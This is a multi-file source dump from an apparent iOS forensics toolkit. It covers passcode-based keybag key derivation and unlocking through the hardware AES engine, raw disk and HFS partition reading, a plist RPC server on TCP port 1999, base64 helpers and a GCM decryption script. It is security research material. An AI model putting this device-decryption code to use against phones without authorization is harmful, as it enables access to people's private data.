"020000000B00000028000000DE44D22E96B1966BAEF4CBEA8675871D40BA669401BD4EBB52AF9C025134187E70549012058456BF0EC0FA1F8FF9F822AC4312AB2141FA712E6D1482358EAC1421A1BFFA81EF38BD0BF2E52675D665EFE3C534E188F575774FAA92E74345575E370B9982661FAE8BD9243B7AD7D2105B275424C0CA1145B9D43AFF04F2747E40D62EC60563960D62A894BE66F267B14D75C0572BE60CC9B339D440FCB418D4F729BBF15C14E0D3A43E4A8B44523D8B3B0F3E7DF85AA67A707EE19CB893277D2392234D7DBC17DA4A0BD7F166189FC54C16C20D287E20FD2FB11BD2CE09ADBDABB95124CD4BFE219E34D3C80E69570A5A506555D7094916C5D75E0065F1796F556EDF0DAA1AA758E0C85AE3951BD363F26B1D43F6CBAEE12D97AD3B60CFA89C1C76BB29F2B54BE31B6CE166F4860C5E5DA92588EF53AA946DF159E60E6F05009D12FB1E37".decode("hex") 124 | ciphertext = data[12+40:-16] 125 | tag = data[-16:] 126 | print repr(gcm_decrypt(key, '', ciphertext, '', tag)) 127 | 128 | 129 | if __name__ == '__main__': 130 | main() 131 | -------------------------------------------------------------------------------- /ramdisk_tools/AppleKeyStore_kdf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "IOKit.h" 6 | #include "IOAESAccelerator.h" 7 | #include "AppleEffaceableStorage.h" 8 | #include "AppleKeyStore.h" 9 | #include "bsdcrypto/pbkdf2.h" 10 | #include "bsdcrypto/rijndael.h" 11 | #include "bsdcrypto/key_wrap.h" 12 | 13 | int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers); 14 | uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey); 15 | void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen); 16 | 17 | #define DERIVATION_BUFFER_SIZE 4096 18 | uint8_t buf1[DERIVATION_BUFFER_SIZE]; 19 | uint8_t buf2[DERIVATION_BUFFER_SIZE]; 20 | 21 | IOByteCount IOAESStructSize1 = sizeof(IOAESStruct); 22 | IOAESStruct in ={buf1,buf2,DERIVATION_BUFFER_SIZE,{0},0,128,{0},kIOAESAcceleratorUIDMask,0}; 23 | IOAESStruct out = {0}; 24 | 25 | int AppleKeyStore_getPasscodeKey(KeyBag* keybag, 26 | const char* passcode, 27 | size_t passcodeLen, 28 | uint8_t* passcodeKey) 29 | { 30 | //One PBKDF2 iter, hardcoded salt length 31 | pkcs5_pbkdf2(passcode, passcodeLen, keybag->salt, 20, passcodeKey, 32, 1); 32 | 33 | return AppleKeyStore_derivation(passcodeKey, 32, keybag->iter, keybag->version); 34 | } 35 | 36 | int AppleKeyStore_derivation(void* data, uint32_t dataLength, uint32_t iter, uint32_t vers) 37 | { 38 | IOReturn ret; 39 | io_connect_t conn = IOAESAccelerator_getIOconnect(); 40 | memset(in.iv, 0, 16); 41 | 42 | uint32_t r4; 43 | uint32_t nBlocks = DERIVATION_BUFFER_SIZE / dataLength; //4096/32=128 44 | uint32_t xorkey = 1; 45 | 46 | uint32_t* buffer2 = data; 47 | if (vers >= 2) 48 | { 49 | buffer2 = malloc(dataLength); 50 | memcpy(buffer2, data, dataLength); 51 | } 52 | while (iter > 0) 53 | { 54 | //version=1 xorKey alawys=1, buffer2 changes at each iter 55 | //version=2 xorKey changes at each iter, buffer2 is always the input (pbkdf2(passcode)) 56 | r4 = AppleKeyStore_xorExpand((uint32_t*)buf1, DERIVATION_BUFFER_SIZE, buffer2, dataLength, xorkey); 57 | if (vers >= 2) 58 | xorkey = r4; 59 | 60 | if((ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize1, &out, &IOAESStructSize1)) != kIOReturnSuccess) 61 | { 62 | fprintf(stderr, "IOConnectCallStructMethod fail : %x\n", ret); 63 | return -1; 64 | } 65 | memcpy(in.iv, out.iv, 16); 66 | 67 | r4 = nBlocks; 68 | if (r4 >= iter) 69 | { 70 | r4 = iter; 71 | } 72 | AppleKeyStore_xorCompress((uint32_t*) buf2, r4 * dataLength, data, dataLength); 73 | iter -= r4; 74 | } 75 | if (vers >= 2) 76 | { 77 | free(buffer2); 78 | } 79 | return 0; 80 | } 81 | 82 | /* 83 | uint32_t paddedLen = (inLen + 3) & (~3);//aligne sur 4 octets 84 | if (dstLen % paddedLen) 85 | return; 86 | uint32_t localBuf[inLen/4]; 87 | 88 | memcpy(localBuf, input, inLen); 89 | memset(&localBuf[inLen], 0, paddedLen - inLen);*/ 90 | uint32_t AppleKeyStore_xorExpand(uint32_t* dst, uint32_t dstLen, uint32_t* input, uint32_t inLen, uint32_t xorKey) 91 | { 92 | uint32_t* dstEnd = &dst[dstLen/4]; 93 | uint32_t i = 0; 94 | 95 | while (dst < dstEnd) 96 | { 97 | i = 0; 98 | while (i < inLen/4) 99 | { 100 | *dst = input[i] ^ xorKey; 101 | dst++; 102 | i++; 103 | } 104 | xorKey++; 105 | } 106 | return xorKey; 107 | } 108 | 109 | void AppleKeyStore_xorCompress(uint32_t* input, uint32_t inputLen, uint32_t* output, uint32_t outputLen) 110 | { 111 | uint32_t i; 112 | 113 | for (i=0; i < (inputLen/4); i++) 114 | { 115 | output[i%(outputLen/4)] ^= input[i]; 116 | } 117 | } 118 | 119 | int AppleKeyStore_unlockKeybagFromUserland(KeyBag* kb, const char* passcode, size_t passcodeLen, uint8_t* key835) 120 | { 121 | u_int8_t passcodeKey[32]={0}; 122 | u_int8_t unwrappedKey[40]={0}; 123 | aes_key_wrap_ctx ctx; 124 | int i; 125 | 126 | AppleKeyStore_getPasscodeKey(kb, passcode, passcodeLen, passcodeKey); 127 | aes_key_wrap_set_key(&ctx, passcodeKey, 32); 128 | 129 | for (i=0; i < kb->numKeys; i++) 130 | { 131 | if (kb->keys[i].wrap & 2) 132 | { 133 | if(aes_key_unwrap(&ctx, kb->keys[i].wpky, unwrappedKey, 4)) 134 | return 0; 135 | memcpy(kb->keys[i].wpky, unwrappedKey, 32); 136 | kb->keys[i].wrap &= ~2; 137 | } 138 | if (kb->keys[i].wrap & 1) 139 | { 140 | doAES(kb->keys[i].wpky, kb->keys[i].wpky, 32, kIOAESAcceleratorCustomMask, key835, NULL, kIOAESAcceleratorDecrypt, 128); 141 | kb->keys[i].wrap &= ~1; 142 | } 143 | } 144 | return 1; 145 | } 146 | -------------------------------------------------------------------------------- /ramdisk_tools/util.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "util.h" 10 | 11 | void printBytesToHex(const uint8_t* buffer, size_t bytes) 12 | { 13 | while(bytes > 0) { 14 | printf("%02x", *buffer); 15 | buffer++; 16 | bytes--; 17 | } 18 | } 19 | 20 | void printHexString(const char* description, const uint8_t* buffer, size_t bytes) 21 | { 22 | printf("%s : ", description); 23 | printBytesToHex(buffer, bytes); 24 | printf("\n"); 25 | } 26 | 27 | int write_file(const char* filename, uint8_t* data, size_t len) 28 | { 29 | int fd = open(filename, O_CREAT | O_RDWR); 30 | if (fd < 0) 31 | return -1; 32 | if (write(fd, data, len) != len) 33 | return -1; 34 | close(fd); 35 | return 0; 36 | } 37 | 38 | int mountDataPartition(const char* mountpoint) 39 | { 40 | char* diskname = "/dev/disk0s2s1"; 41 | int err; 42 | printf("Trying to mount data partition\n"); 43 | err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); 44 | if (!err) 45 | return 0; 46 | 47 | diskname = "/dev/disk0s1s2"; 48 | err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); 49 | 50 | return err; 51 | } 52 | 53 | 54 | int getHFSInfos(struct HFSInfos *infos) 55 | { 56 | char buf[8192] = {0}; 57 | struct HFSPlusVolumeHeader* header; 58 | unsigned int i,j; 59 | 60 | int fd = open("/dev/rdisk0s2", O_RDONLY); 61 | if (fd < 0 ) 62 | fd = open("/dev/rdisk0s1s2", O_RDONLY); //ios5 lwvm 63 | if (fd < 0 ) 64 | return fd; 65 | lseek(fd, 0, SEEK_SET); 66 | 67 | if (read(fd, buf, 8192) != 8192) 68 | return -1; 69 | close(fd); 70 | 71 | header = (struct HFSPlusVolumeHeader*) &buf[0x400]; 72 | 73 | uint32_t blockSize = CFSwapInt32BigToHost(header->blockSize); 74 | 75 | infos->volumeUUID = header->volumeUUID; 76 | infos->blockSize = blockSize; 77 | 78 | if (blockSize != 0x1000 && blockSize != 0x2000) 79 | { 80 | fprintf(stderr, "getHFSInfos: Unknown block size %x\n", blockSize); 81 | } 82 | else 83 | { 84 | fd = open("/dev/rdisk0", O_RDONLY); 85 | if (fd < 0 ) 86 | return fd; 87 | 88 | if (read(fd, buf, 8192) != 8192) 89 | return -1; 90 | 91 | if (!memcmp(buf, LwVMType, 16)) 92 | { 93 | LwVM* lwvm = (LwVM*) buf; 94 | 95 | if (lwvm->chunks[0] != 0xF000) 96 | { 97 | fprintf(stderr, "getHFSInfos: lwvm->chunks[0] != 0xF000\n"); 98 | return -1; 99 | } 100 | 101 | for(i=0; i < 0x400; i++) 102 | { 103 | if(lwvm->chunks[i] == 0x1000) //partition 1 block 0 104 | { 105 | break; 106 | } 107 | } 108 | //XXX: ugly hack, but openiboot formula is weird 109 | uint64_t knownSizes[] = {8, 16, 32, 64, 128}; 110 | uint32_t deviceSize = 0; 111 | for (j=0; j < 5; j++) 112 | { 113 | if (lwvm->mediaSize < (knownSizes[j] * 1024*1024*1024)) 114 | { 115 | deviceSize = knownSizes[j]; 116 | break; 117 | } 118 | } 119 | //fprintf(stderr, "getHFSInfos : LwVM HAX, device is %d Gb, right ?\n", deviceSize); 120 | infos->dataVolumeOffset = (i * deviceSize*1024*1024) / blockSize; 121 | } 122 | else 123 | { 124 | lseek(fd, 2*blockSize, SEEK_SET); 125 | 126 | if (read(fd, buf, 8192) != 8192) 127 | return -1; 128 | close(fd); 129 | 130 | infos->dataVolumeOffset = ((unsigned int*)buf)[0xA0/4]; 131 | } 132 | } 133 | return 0; 134 | } 135 | 136 | CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len) 137 | { 138 | int i; 139 | 140 | CFMutableStringRef s = CFStringCreateMutable(kCFAllocatorDefault, len*2); 141 | 142 | for(i=0; i < len; i++) 143 | { 144 | CFStringAppendFormat(s, NULL, CFSTR("%02x"), buffer[i]); 145 | } 146 | return s; 147 | } 148 | 149 | void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len) 150 | { 151 | CFMutableStringRef s = CreateHexaCFString(buffer, len); 152 | CFDictionaryAddValue(out, key, s); 153 | CFRelease(s); 154 | } 155 | 156 | void saveResults(CFStringRef filename, CFMutableDictionaryRef out) 157 | { 158 | CFURLRef fileURL = CFURLCreateWithFileSystemPath( NULL, filename, kCFURLPOSIXPathStyle, FALSE); 159 | CFWriteStreamRef stream = CFWriteStreamCreateWithFile( NULL, fileURL); 160 | CFWriteStreamOpen(stream); 161 | CFPropertyListWriteToStream(out, stream, kCFPropertyListXMLFormat_v1_0, NULL); 162 | CFWriteStreamClose(stream); 163 | 164 | CFRelease(stream); 165 | CFRelease(fileURL); 166 | } -------------------------------------------------------------------------------- /ramdisk_tools/plist_server.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "plist_server.h" 9 | 10 | #define TCP_PORT 1999 11 | 12 | int create_listening_socket(int port) 13 | { 14 | struct sockaddr_in listen_addr; 15 | int s, one = 1; 16 | 17 | memset(&listen_addr, 0, sizeof(struct sockaddr)); 18 | listen_addr.sin_family = AF_INET; 19 | listen_addr.sin_port = htons(port); 20 | listen_addr.sin_addr.s_addr = INADDR_ANY; 21 | 22 | s = socket(AF_INET, SOCK_STREAM, 0); 23 | 24 | setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); 25 | 26 | if (bind(s, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) < 0) 27 | { 28 | perror("bind"); 29 | return -1; 30 | } 31 | listen(s, 10); 32 | 33 | return s; 34 | } 35 | 36 | int send_progress_message(int socket, int progress, int total) 37 | { 38 | const void* keys[3] = {CFSTR("MessageType"), CFSTR("Progress"), CFSTR("Total")}; 39 | const void* values[3] = {CFSTR("Progress"), NULL, NULL}; 40 | 41 | CFNumberRef number = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &progress); 42 | CFNumberRef number2 = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &total); 43 | values[1] = number; 44 | values[2] = number2; 45 | CFDictionaryRef msg = CFDictionaryCreate(kCFAllocatorDefault, keys, values, 3, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); 46 | CFRelease(number); 47 | CFRelease(number2); 48 | int res = send_object(socket, msg); 49 | CFRelease(msg); 50 | return res; 51 | } 52 | 53 | int send_object(int socket, CFTypeRef obj) 54 | { 55 | uint32_t len = 0; 56 | int res = -1; 57 | 58 | if(obj == NULL) 59 | return res; 60 | 61 | CFDataRef outdata = CFPropertyListCreateData(kCFAllocatorDefault, obj, kCFPropertyListXMLFormat_v1_0, 0, NULL); 62 | if (outdata != NULL) 63 | { 64 | len = CFDataGetLength(outdata); 65 | write(socket, &len, 4); 66 | res = write(socket, CFDataGetBytePtr(outdata), CFDataGetLength(outdata)); 67 | CFRelease(outdata); 68 | } 69 | return res; 70 | } 71 | 72 | int handle_client(int socket, CFDictionaryRef handlers) 73 | { 74 | uint32_t len=0; 75 | uint32_t received,i; 76 | CFDataRef data; 77 | CFDictionaryRef plist; 78 | CFTypeRef out = NULL; 79 | uint8_t* buffer; 80 | CFTypeRef (*handler)(int, CFDictionaryRef dict) = NULL; 81 | 82 | while(1) 83 | { 84 | if(recv(socket, &len, 4, 0) != 4) 85 | break; 86 | //printf("len=%x\n", len); 87 | 88 | if (len > PLIST_MAX_SIZE) 89 | break; 90 | 91 | buffer = malloc(len); 92 | 93 | if(buffer == NULL) 94 | break; 95 | 96 | for(i=0; i < len; ) 97 | { 98 | received = recv(socket, &buffer[i], len - i, 0); 99 | if (received == -1) 100 | break; 101 | i += received; 102 | } 103 | 104 | data = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, buffer, len, kCFAllocatorNull); 105 | 106 | if(data == NULL) 107 | { 108 | free(buffer); 109 | continue; 110 | } 111 | 112 | plist = (CFDictionaryRef) CFPropertyListCreateWithData (kCFAllocatorDefault, data, kCFPropertyListImmutable, NULL, NULL); 113 | 114 | if(plist == NULL || CFGetTypeID(plist) != CFDictionaryGetTypeID()) 115 | { 116 | CFRelease(data); 117 | free(buffer); 118 | send_object(socket, CFSTR("invalid XML plist dictionary")); 119 | continue; 120 | } 121 | 122 | if (CFDictionaryContainsKey(plist, CFSTR("Request"))) 123 | { 124 | CFStringRef request = CFDictionaryGetValue(plist, CFSTR("Request")); 125 | 126 | handler = CFDictionaryGetValue(handlers, request); 127 | 128 | if (handler != NULL) 129 | { 130 | out = handler(socket, plist); 131 | if (out == NULL) 132 | out = CFSTR("Request did not return any result"); 133 | } 134 | else 135 | { 136 | out = CFSTR("No handler defined for Request"); 137 | } 138 | } 139 | else 140 | { 141 | out = CFSTR("request dictionary needs to contain Request key"); 142 | } 143 | 144 | if(out == NULL) 145 | out = CFSTR("no response"); 146 | 147 | send_object(socket, out); 148 | CFRelease(out); 149 | 150 | CFRelease(plist); 151 | CFRelease(data); 152 | free(buffer); 153 | } 154 | send_object(socket, CFSTR("kthxbye")); 155 | return 0; 156 | } 157 | 158 | void serve_plist_rpc(int port, CFDictionaryRef handlers) 159 | { 160 | int quit = 0; 161 | int one=1; 162 | printf("plist_rpc: listening on port %d\n", port); 163 | int sl = create_listening_socket(port); 164 | 165 | while(!quit) 166 | { 167 | int s = accept(sl, NULL, NULL); 168 | setsockopt(s, SOL_SOCKET, SO_NOSIGPIPE, (void *)&one, sizeof(int)); 169 | 170 | handle_client(s, handlers); 171 | shutdown(s, SHUT_RDWR); 172 | close(s); 173 | } 174 | close(sl); 175 | } 176 | 177 | CFStringRef testHandler(int s, CFDictionaryRef dict) 178 | { 179 | printf("lol\n"); 180 | return CFSTR("Hello, World!"); 181 | } 182 | 183 | -------------------------------------------------------------------------------- /emf_decrypter/common/base64.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | unsigned char* decodeBase64(char* toDecode, size_t* dataLength) { 9 | uint8_t buffer[4]; 10 | uint8_t charsInBuffer; 11 | unsigned char* curChar; 12 | unsigned char* decodeBuffer; 13 | unsigned int decodeLoc; 14 | unsigned int decodeBufferSize; 15 | uint8_t bytesToDrop; 16 | 17 | curChar = (unsigned char*) toDecode; 18 | charsInBuffer = 0; 19 | 20 | decodeBufferSize = 100; 21 | decodeLoc = 0; 22 | decodeBuffer = (unsigned char*) malloc(decodeBufferSize); 23 | 24 | bytesToDrop = 0; 25 | 26 | while((*curChar) != '\0') { 27 | if((*curChar) >= 'A' && (*curChar) <= 'Z') { 28 | buffer[charsInBuffer] = (*curChar) - 'A'; 29 | charsInBuffer++; 30 | } 31 | 32 | if((*curChar) >= 'a' && (*curChar) <= 'z') { 33 | buffer[charsInBuffer] = ((*curChar) - 'a') + ('Z' - 'A' + 1); 34 | charsInBuffer++; 35 | } 36 | 37 | if((*curChar) >= '0' && (*curChar) <= '9') { 38 | buffer[charsInBuffer] = ((*curChar) - '0') + ('Z' - 'A' + 1) + ('z' - 'a' + 1); 39 | charsInBuffer++; 40 | } 41 | 42 | if((*curChar) == '+') { 43 | buffer[charsInBuffer] = ('Z' - 'A' + 1) + ('z' - 'a' + 1) + ('9' - '0' + 1); 44 | charsInBuffer++; 45 | } 46 | 47 | if((*curChar) == '/') { 48 | buffer[charsInBuffer] = ('Z' - 'A' + 1) + ('z' - 'a' + 1) + ('9' - '0' + 1) + 1; 49 | charsInBuffer++; 50 | } 51 | 52 | if((*curChar) == '=') { 53 | bytesToDrop++; 54 | } 55 | 56 | if(charsInBuffer == 4) { 57 | charsInBuffer = 0; 58 | 59 | if((decodeLoc + 3) >= decodeBufferSize) { 60 | decodeBufferSize <<= 1; 61 | decodeBuffer = (unsigned char*) realloc(decodeBuffer, decodeBufferSize); 62 | } 63 | decodeBuffer[decodeLoc] = ((buffer[0] << 2) & 0xFC) + ((buffer[1] >> 4) & 0x3F); 64 | decodeBuffer[decodeLoc + 1] = ((buffer[1] << 4) & 0xF0) + ((buffer[2] >> 2) & 0x0F); 65 | decodeBuffer[decodeLoc + 2] = ((buffer[2] << 6) & 0xC0) + (buffer[3] & 0x3F); 66 | 67 | decodeLoc += 3; 68 | buffer[0] = 0; 69 | buffer[1] = 0; 70 | buffer[2] = 0; 71 | buffer[3] = 0; 72 | } 73 | 74 | curChar++; 75 | } 76 | 77 | if(bytesToDrop != 0) { 78 | if((decodeLoc + 3) >= decodeBufferSize) { 79 | decodeBufferSize <<= 1; 80 | decodeBuffer = (unsigned char*) realloc(decodeBuffer, decodeBufferSize); 81 | } 82 | 83 | decodeBuffer[decodeLoc] = ((buffer[0] << 2) & 0xFC) | ((buffer[1] >> 4) & 0x3F); 84 | 85 | if(bytesToDrop <= 2) 86 | decodeBuffer[decodeLoc + 1] = ((buffer[1] << 4) & 0xF0) | ((buffer[2] >> 2) & 0x0F); 87 | 88 | if(bytesToDrop <= 1) 89 | decodeBuffer[decodeLoc + 2] = ((buffer[2] << 6) & 0xC0) | (buffer[3] & 0x3F); 90 | 91 | *dataLength = decodeLoc + 3 - bytesToDrop; 92 | } else { 93 | *dataLength = decodeLoc; 94 | } 95 | 96 | return decodeBuffer; 97 | } 98 | 99 | void writeBase64(AbstractFile* file, unsigned char* data, size_t dataLength, int tabLength, int width) { 100 | char* buffer; 101 | buffer = convertBase64(data, dataLength, tabLength, width); 102 | file->write(file, buffer, strlen(buffer)); 103 | free(buffer); 104 | } 105 | 106 | #define CHECK_BUFFER_SIZE() \ 107 | if(pos == bufferSize) { \ 108 | bufferSize <<= 1; \ 109 | buffer = (unsigned char*) realloc(buffer, bufferSize); \ 110 | } 111 | 112 | #define CHECK_LINE_END_STRING() \ 113 | CHECK_BUFFER_SIZE() \ 114 | if(width == lineLength) { \ 115 | buffer[pos++] = '\n'; \ 116 | CHECK_BUFFER_SIZE() \ 117 | for(j = 0; j < tabLength; j++) { \ 118 | buffer[pos++] = '\t'; \ 119 | CHECK_BUFFER_SIZE() \ 120 | } \ 121 | lineLength = 0; \ 122 | } else { \ 123 | lineLength++; \ 124 | } 125 | 126 | char* convertBase64(unsigned char* data, size_t dataLength, int tabLength, int width) { 127 | const char* dictionary = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 128 | 129 | unsigned char* buffer; 130 | size_t pos; 131 | size_t bufferSize; 132 | int i, j; 133 | int lineLength; 134 | 135 | bufferSize = 100; 136 | buffer = (unsigned char*) malloc(bufferSize); 137 | pos = 0; 138 | lineLength = 0; 139 | 140 | for(i = 0; i < tabLength; i++) { 141 | CHECK_BUFFER_SIZE() 142 | buffer[pos++] = '\t'; 143 | } 144 | i = 0; 145 | while(dataLength >= 3) { 146 | dataLength -= 3; 147 | buffer[pos++] = dictionary[(data[i] >> 2) & 0x3F]; 148 | CHECK_LINE_END_STRING(); 149 | buffer[pos++] = dictionary[(((data[i] << 4) & 0x30) | ((data[i+1] >> 4) & 0x0F)) & 0x3F]; 150 | CHECK_LINE_END_STRING(); 151 | buffer[pos++] = dictionary[(((data[i+1] << 2) & 0x3C) | ((data[i+2] >> 6) & 0x03)) & 0x03F]; 152 | CHECK_LINE_END_STRING(); 153 | buffer[pos++] = dictionary[data[i+2] & 0x3F]; 154 | CHECK_LINE_END_STRING(); 155 | i += 3; 156 | } 157 | 158 | if(dataLength == 2) { 159 | buffer[pos++] = dictionary[(data[i] >> 2) & 0x3F]; 160 | CHECK_LINE_END_STRING(); 161 | buffer[pos++] = dictionary[(((data[i] << 4) & 0x30) | ((data[i+1] >> 4) & 0x0F)) & 0x3F]; 162 | CHECK_LINE_END_STRING(); 163 | buffer[pos++] = dictionary[(data[i+1] << 2) & 0x3C]; 164 | CHECK_LINE_END_STRING(); 165 | buffer[pos++] = '='; 166 | } else if(dataLength == 1) { 167 | buffer[pos++] = dictionary[(data[i] >> 2) & 0x3F]; 168 | CHECK_LINE_END_STRING(); 169 | buffer[pos++] = dictionary[(data[i] << 4) & 0x30]; 170 | CHECK_LINE_END_STRING(); 171 | buffer[pos++] = '='; 172 | CHECK_LINE_END_STRING(); 173 | buffer[pos++] = '='; 174 | } 175 | 176 | CHECK_BUFFER_SIZE(); 177 | buffer[pos++] = '\n'; 178 | 179 | CHECK_BUFFER_SIZE(); 180 | buffer[pos++] = '\0'; 181 | 182 | return (char*) buffer; 183 | } 184 | -------------------------------------------------------------------------------- /emf_decrypter/hfs/volume.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void flipForkData(HFSPlusForkData* forkData) { 6 | FLIPENDIAN(forkData->logicalSize); 7 | FLIPENDIAN(forkData->clumpSize); 8 | FLIPENDIAN(forkData->totalBlocks); 9 | 10 | flipExtentRecord(&forkData->extents); 11 | } 12 | 13 | static HFSPlusVolumeHeader* readVolumeHeader(io_func* io, off_t offset) { 14 | HFSPlusVolumeHeader* volumeHeader; 15 | 16 | volumeHeader = (HFSPlusVolumeHeader*) malloc(sizeof(HFSPlusVolumeHeader)); 17 | 18 | if(!(READ(io, offset, sizeof(HFSPlusVolumeHeader), volumeHeader))) 19 | return NULL; 20 | 21 | FLIPENDIAN(volumeHeader->signature); 22 | FLIPENDIAN(volumeHeader->version); 23 | FLIPENDIAN(volumeHeader->attributes); 24 | FLIPENDIAN(volumeHeader->lastMountedVersion); 25 | FLIPENDIAN(volumeHeader->journalInfoBlock); 26 | FLIPENDIAN(volumeHeader->createDate); 27 | FLIPENDIAN(volumeHeader->modifyDate); 28 | FLIPENDIAN(volumeHeader->backupDate); 29 | FLIPENDIAN(volumeHeader->checkedDate); 30 | FLIPENDIAN(volumeHeader->fileCount); 31 | FLIPENDIAN(volumeHeader->folderCount); 32 | FLIPENDIAN(volumeHeader->blockSize); 33 | FLIPENDIAN(volumeHeader->totalBlocks); 34 | FLIPENDIAN(volumeHeader->freeBlocks); 35 | FLIPENDIAN(volumeHeader->nextAllocation); 36 | FLIPENDIAN(volumeHeader->rsrcClumpSize); 37 | FLIPENDIAN(volumeHeader->dataClumpSize); 38 | FLIPENDIAN(volumeHeader->nextCatalogID); 39 | FLIPENDIAN(volumeHeader->writeCount); 40 | FLIPENDIAN(volumeHeader->encodingsBitmap); 41 | 42 | 43 | flipForkData(&volumeHeader->allocationFile); 44 | flipForkData(&volumeHeader->extentsFile); 45 | flipForkData(&volumeHeader->catalogFile); 46 | flipForkData(&volumeHeader->attributesFile); 47 | flipForkData(&volumeHeader->startupFile); 48 | 49 | return volumeHeader; 50 | } 51 | 52 | static int writeVolumeHeader(io_func* io, HFSPlusVolumeHeader* volumeHeaderToWrite, off_t offset) { 53 | HFSPlusVolumeHeader* volumeHeader; 54 | 55 | volumeHeader = (HFSPlusVolumeHeader*) malloc(sizeof(HFSPlusVolumeHeader)); 56 | memcpy(volumeHeader, volumeHeaderToWrite, sizeof(HFSPlusVolumeHeader)); 57 | 58 | FLIPENDIAN(volumeHeader->signature); 59 | FLIPENDIAN(volumeHeader->version); 60 | FLIPENDIAN(volumeHeader->attributes); 61 | FLIPENDIAN(volumeHeader->lastMountedVersion); 62 | FLIPENDIAN(volumeHeader->journalInfoBlock); 63 | FLIPENDIAN(volumeHeader->createDate); 64 | FLIPENDIAN(volumeHeader->modifyDate); 65 | FLIPENDIAN(volumeHeader->backupDate); 66 | FLIPENDIAN(volumeHeader->checkedDate); 67 | FLIPENDIAN(volumeHeader->fileCount); 68 | FLIPENDIAN(volumeHeader->folderCount); 69 | FLIPENDIAN(volumeHeader->blockSize); 70 | FLIPENDIAN(volumeHeader->totalBlocks); 71 | FLIPENDIAN(volumeHeader->freeBlocks); 72 | FLIPENDIAN(volumeHeader->nextAllocation); 73 | FLIPENDIAN(volumeHeader->rsrcClumpSize); 74 | FLIPENDIAN(volumeHeader->dataClumpSize); 75 | FLIPENDIAN(volumeHeader->nextCatalogID); 76 | FLIPENDIAN(volumeHeader->writeCount); 77 | FLIPENDIAN(volumeHeader->encodingsBitmap); 78 | 79 | 80 | flipForkData(&volumeHeader->allocationFile); 81 | flipForkData(&volumeHeader->extentsFile); 82 | flipForkData(&volumeHeader->catalogFile); 83 | flipForkData(&volumeHeader->attributesFile); 84 | flipForkData(&volumeHeader->startupFile); 85 | 86 | if(!(WRITE(io, offset, sizeof(HFSPlusVolumeHeader), volumeHeader))) 87 | return FALSE; 88 | 89 | free(volumeHeader); 90 | 91 | return TRUE; 92 | } 93 | 94 | int updateVolume(Volume* volume) { 95 | ASSERT(writeVolumeHeader(volume->image, volume->volumeHeader, 96 | ((off_t)volume->volumeHeader->totalBlocks * (off_t)volume->volumeHeader->blockSize) - 1024), "writeVolumeHeader"); 97 | return writeVolumeHeader(volume->image, volume->volumeHeader, 1024); 98 | } 99 | 100 | Volume* openVolume(io_func* io) { 101 | Volume* volume; 102 | io_func* file; 103 | 104 | volume = (Volume*) malloc(sizeof(Volume)); 105 | volume->image = io; 106 | volume->extentsTree = NULL; 107 | 108 | volume->volumeHeader = readVolumeHeader(io, 1024); 109 | if(volume->volumeHeader == NULL) { 110 | free(volume); 111 | return NULL; 112 | } 113 | 114 | file = openRawFile(kHFSExtentsFileID, &volume->volumeHeader->extentsFile, NULL, volume); 115 | if(file == NULL) { 116 | free(volume->volumeHeader); 117 | free(volume); 118 | return NULL; 119 | } 120 | 121 | volume->extentsTree = openExtentsTree(file); 122 | if(volume->extentsTree == NULL) { 123 | free(volume->volumeHeader); 124 | free(volume); 125 | return NULL; 126 | } 127 | 128 | file = openRawFile(kHFSCatalogFileID, &volume->volumeHeader->catalogFile, NULL, volume); 129 | if(file == NULL) { 130 | closeBTree(volume->extentsTree); 131 | free(volume->volumeHeader); 132 | free(volume); 133 | return NULL; 134 | } 135 | 136 | volume->catalogTree = openCatalogTree(file); 137 | if(volume->catalogTree == NULL) { 138 | closeBTree(volume->extentsTree); 139 | free(volume->volumeHeader); 140 | free(volume); 141 | return NULL; 142 | } 143 | 144 | volume->allocationFile = openRawFile(kHFSAllocationFileID, &volume->volumeHeader->allocationFile, NULL, volume); 145 | if(volume->allocationFile == NULL) { 146 | closeBTree(volume->catalogTree); 147 | closeBTree(volume->extentsTree); 148 | free(volume->volumeHeader); 149 | free(volume); 150 | return NULL; 151 | } 152 | 153 | volume->attrTree = NULL; 154 | file = openRawFile(kHFSAttributesFileID, &volume->volumeHeader->attributesFile, NULL, volume); 155 | if(file != NULL) { 156 | volume->attrTree = openAttributesTree(file); 157 | if(!volume->attrTree) { 158 | CLOSE(file); 159 | } 160 | } 161 | 162 | volume->metadataDir = getMetadataDirectoryID(volume); 163 | 164 | return volume; 165 | } 166 | 167 | void closeVolume(Volume *volume) { 168 | if(volume->attrTree) 169 | closeBTree(volume->attrTree); 170 | 171 | CLOSE(volume->allocationFile); 172 | closeBTree(volume->catalogTree); 173 | closeBTree(volume->extentsTree); 174 | free(volume->volumeHeader); 175 | free(volume); 176 | } 177 | -------------------------------------------------------------------------------- /python_scripts/demo_backup_keychain.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys, os 4 | from PyQt4 import 